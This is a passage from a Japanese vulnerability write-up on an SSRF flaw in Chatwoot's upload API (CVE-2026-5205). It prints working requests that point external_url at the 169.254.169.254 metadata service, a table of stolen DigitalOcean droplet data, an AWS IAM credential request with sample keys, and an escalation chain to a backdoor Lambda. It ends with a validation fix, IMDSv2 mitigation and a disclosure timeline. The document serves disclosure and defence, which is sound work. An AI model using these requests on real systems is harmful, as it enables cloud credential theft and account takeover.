&lt;h3 id="ステップ2 &amp;mdash; digitaloceanメタデータサービスに対してssrfリクエストを送る"&gt;ステップ2 &amp;mdash; DigitalOceanメタデータサービスに対してSSRFリクエストを送る&lt;/h3&gt;
&lt;p&gt;6つのリクエストはすべて、同じ認証済みテンプレートを使います。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/api/v1/accounts/1/upload&lt;/span&gt; &lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;167.99.195.252:3000&lt;/span&gt;
&lt;span class="na"&gt;access-token&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;zNicAlY5gBHQvFSspta63g&lt;/span&gt;
&lt;span class="na"&gt;client&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;KHysYvoMt2zIkl4yAiJM5Q&lt;/span&gt;
&lt;span class="na"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;agent@acme.test&lt;/span&gt;
&lt;span class="na"&gt;token-type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Bearer&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;multipart/form-data&lt;/span&gt;

external_url=&amp;lt;TARGET&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;サーバーは&lt;code&gt;{ "file_url": "...", "blob_id": "..." }&lt;/code&gt;と応答します。&lt;code&gt;file_url&lt;/code&gt;をたどると、&lt;strong&gt;生の上流ボディ&lt;/strong&gt;、つまりメタデータサービスからの完全なレスポンスが返ります。&lt;/p&gt;
&lt;h3 id="結果 &amp;mdash; 6回連続のメタデータ窃取リクエスト"&gt;結果 &amp;mdash; 6回連続のメタデータ窃取リクエスト&lt;/h3&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;#&lt;/th&gt;
&lt;th style="text-align: left;"&gt;&lt;code&gt;external_url&lt;/code&gt;のターゲット&lt;/th&gt;
&lt;th style="text-align: left;"&gt;返されたブロブのボディ&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;1&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;http://169.254.169.254/metadata/v1/id&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;552923997&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;2&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;http://169.254.169.254/metadata/v1/hostname&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;ubuntu-s-2vcpu-4gb-120gb-intel-lon1-01&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;3&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;http://169.254.169.254/metadata/v1/region&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;lon1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;4&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;http://169.254.169.254/metadata/v1/interfaces/public/0/ipv4/address&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;167.99.195.252&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;5&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;http://169.254.169.254/metadata/v1/public-keys&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDGORTi7ekb1WsK+3qrDp4IKdaRt/OoAVf0SNSAGuMGd soop@soop&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;6&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;http://169.254.169.254/metadata/v1.json&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;DOメタデータバンドル全体（droplet_id、vendor_data cloud-init、public_keys、interfaces、dns、&amp;hellip;）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;すべてのレスポンス、つまりドロップレットID、ホスト名、パブリックIP、SSH公開鍵、そして完全なメタデータJSONが、ActiveStorageのブロブを通じて返ってきて、攻撃者は&lt;code&gt;file_url&lt;/code&gt;への単純なGETで読み取ることができました。&lt;/p&gt;
&lt;h3 id="完全なリクエスト/レスポンスのサンプル &amp;mdash; ドロップレットidの窃取"&gt;&lt;strong&gt;完全なリクエスト／レスポンスのサンプル &amp;mdash; ドロップレットIDの窃取&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;リクエスト：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/api/v1/accounts/1/upload&lt;/span&gt; &lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;167.99.195.252:3000&lt;/span&gt;
&lt;span class="na"&gt;access-token&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;zNicAlY5gBHQvFSspta63g&lt;/span&gt;
&lt;span class="na"&gt;client&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;KHysYvoMt2zIkl4yAiJM5Q&lt;/span&gt;
&lt;span class="na"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;agent@acme.test&lt;/span&gt;
&lt;span class="na"&gt;token-type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Bearer&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;multipart/form-data&lt;/span&gt;

external_url=http://169.254.169.254/metadata/v1/id
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;レスポンス：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"file_url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http://167.99.195.252:3000/rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCdz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--218cce180cd1a069d870bace8d47a23c3f0ac368/id"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"blob_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCdz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--218cce180cd1a069d870bace8d47a23c3f0ac368"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;file_url&lt;/code&gt;の取得：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;552923997&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;ドロップレットID。DigitalOceanのコントロールパネルと照合して確認済みです。デフォルトのChatwootインストールから、実際のデータがインバンドで窃取されました。&lt;/p&gt;
&lt;h2 id="エスカレーション:ssrfからクラウドアカウント乗っ取りへ"&gt;&lt;strong&gt;エスカレーション：SSRFからクラウドアカウント乗っ取りへ&lt;/strong&gt;&lt;/h2&gt;
&lt;h3 id="aws imdsv1 &amp;mdash; 最悪のケース"&gt;AWS IMDSv1 &amp;mdash; 最悪のケース&lt;/h3&gt;
&lt;p&gt;IMDSv1を使用するAWS EC2、ECS、Lambda、またはElastic Beanstalkでホストされているインスタンスでは、このSSRFは完全なクラウドアカウント乗っ取りへの直接の経路となります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/api/v1/accounts/1/upload&lt;/span&gt; &lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;access-token&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;zNicAlY5gBHQvFSspta63g&lt;/span&gt;
&lt;span class="na"&gt;client&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;KHysYvoMt2zIkl4yAiJM5Q&lt;/span&gt;
&lt;span class="na"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;agent@acme.test&lt;/span&gt;
&lt;span class="na"&gt;token-type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Bearer&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;multipart/form-data&lt;/span&gt;

external_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;メタデータサービスは完全なIAM認証情報を返します。そして、アップロードのSSRFはレスポンスボディ全体をインバンドで返すため、攻撃者はそれらを&lt;code&gt;file_url&lt;/code&gt;から直接読み取ります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"Code"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Success"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"Type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"AWS-HMAC"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"AccessKeyId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ASIAIOSFODNN7EXAMPLE"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"SecretAccessKey"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"Token"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"AQoXnyc4lcK4w..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"Expiration"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-04-01T00:00:00Z"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;そこからのエスカレーション経路は次の通りです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;SSRF &amp;rarr; AWS IMDSv1 credentials
     &amp;rarr; Attacker has AWS IAM role keys
     &amp;rarr; Role has S3/EC2/Lambda/ECS permissions
     &amp;rarr; Deploy backdoor Lambda / modify EC2 user data
     &amp;rarr; Full RCE on cloud infrastructure
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="影響"&gt;影響&lt;/h3&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;シナリオ&lt;/th&gt;
&lt;th style="text-align: left;"&gt;影響&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;AWS IMDSv1（ホップ制限なし）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;クリティカル&lt;/strong&gt; &amp;mdash; IAMロールの認証情報を窃取し、AWSアカウントを完全に乗っ取り&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;GCPメタデータAPI&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;クリティカル&lt;/strong&gt; &amp;mdash; サービスアカウントのOAuthトークンを窃取&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Azure IMDS&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;クリティカル&lt;/strong&gt; &amp;mdash; マネージドIDトークンを窃取&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;DigitalOceanメタデータ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;高&lt;/strong&gt; &amp;mdash; クラウドトークン、SSHキー、ユーザーデータを窃取&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;内部ネットワークのピボット&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;高&lt;/strong&gt; &amp;mdash; Redis、Postgres管理UI、Sidekiq Web、K8s API、内部マイクロサービスを攻撃&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;シークレットの窃取&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;高&lt;/strong&gt; &amp;mdash; 内部のデバッグ／ヘルスエンドポイントを読み取り&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;権限昇格&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;高&lt;/strong&gt; &amp;mdash; 窃取したクラウド認証情報がChatwootを超えたアクセスを許可&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="cve-2026-5205の修正"&gt;CVE-2026-5205の修正&lt;/h2&gt;
&lt;p&gt;この脆弱性は&lt;strong&gt;Chatwoot v4.13.0&lt;/strong&gt;で修正されました。正式なアドバイザリは&lt;a href="https://github.com/chatwoot/chatwoot/security/advisories/GHSA-6fj9-gj7h-q2hf"&gt;GHSA-6fj9-gj7h-q2hf&lt;/a&gt;として追跡されています。&lt;/p&gt;
&lt;h3 id="推奨されるアプローチ &amp;mdash; 取得前に解決されたipを検証する"&gt;推奨されるアプローチ &amp;mdash; 取得前に解決されたIPを検証する&lt;/h3&gt;
&lt;p&gt;修正では、&lt;code&gt;open-uri&lt;/code&gt;がリクエストを行う前に、解決されたIPをプライベート範囲と照合して検証すべきです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;resolv&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;

&lt;span class="nx"&gt;PRIVATE_IP_PATTERNS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="nx"&gt;A127&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="nx"&gt;A10&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="nx"&gt;A172&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="p"&gt;.(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="nx"&gt;A192&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="m m-Double"&gt;.168&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="nx"&gt;A169&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="m m-Double"&gt;.254&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="nx"&gt;Afc00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="nx"&gt;Afe80&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;
&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;freeze&lt;/span&gt;

&lt;span class="nx"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;validate_uri&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;raise&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;URI&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nx"&gt;InvalidURIError&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;unless&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;is_a&lt;/span&gt;&lt;span class="p"&gt;?(&lt;/span&gt;&lt;span class="nx"&gt;URI&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nx"&gt;HTTP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;is_a&lt;/span&gt;&lt;span class="p"&gt;?(&lt;/span&gt;&lt;span class="nx"&gt;URI&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nx"&gt;HTTPS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;resolved&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Resolv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getaddress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;host&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;rescue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;nil&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;raise&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;URI&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nx"&gt;InvalidURIError&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;SSRF&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;internal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;host&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;blocked&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;resolved&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PRIVATE_IP_PATTERNS&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;any&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="p"&gt;?(&lt;/span&gt;&lt;span class="nx"&gt;resolved&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nx"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="クラウドレベルの緩和策 &amp;mdash; imdsv2を有効化する"&gt;クラウドレベルの緩和策 &amp;mdash; IMDSv2を有効化する&lt;/h3&gt;
&lt;p&gt;AWSでは、IMDSv2を強制してください。IMDSv2は&lt;code&gt;open-uri&lt;/code&gt;では偽造できないトークンヘッダー付きの&lt;code&gt;PUT&lt;/code&gt;を必要とします。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;aws&lt;span class="w"&gt; &lt;/span&gt;ec2&lt;span class="w"&gt; &lt;/span&gt;modify-instance-metadata-options&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--instance-id&lt;span class="w"&gt; &lt;/span&gt;i-xxxx&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--http-tokens&lt;span class="w"&gt; &lt;/span&gt;required&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--http-put-response-hop-limit&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;これは&lt;strong&gt;緩和策であって修正ではありません&lt;/strong&gt;。IMDSv2に関係なく、内部サービスへのアクセスは依然として可能なままです。&lt;/p&gt;
&lt;h2 id="タイムライン"&gt;タイムライン&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;日付&lt;/th&gt;
&lt;th style="text-align: left;"&gt;出来事&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;2026-03-26&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ソースコードレビューにより脆弱性を発見&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;2026-03-26&lt;/td&gt;
&lt;td style="text-align: left;"&gt;DigitalOceanのドロップレット上での実証により確認（v4.12.1）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;2026-03-26&lt;/td&gt;
&lt;td style="text-align: left;"&gt;GitHub Security Advisory経由で報告を提出&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;2026-04-22&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Chatwootチームが、問題はすでに報告済みでありv4.13.0で修正済みであることを確認&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;2026-04-22&lt;/td&gt;
&lt;td style="text-align: left;"&gt;アドバイザリをクローズ &amp;mdash; 正式な追跡は&lt;a href="https://github.com/chatwoot/chatwoot/security/advisories/GHSA-6fj9-gj7h-q2hf"&gt;GHSA-6fj9-gj7h-q2hf&lt;/a&gt;のもとで&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
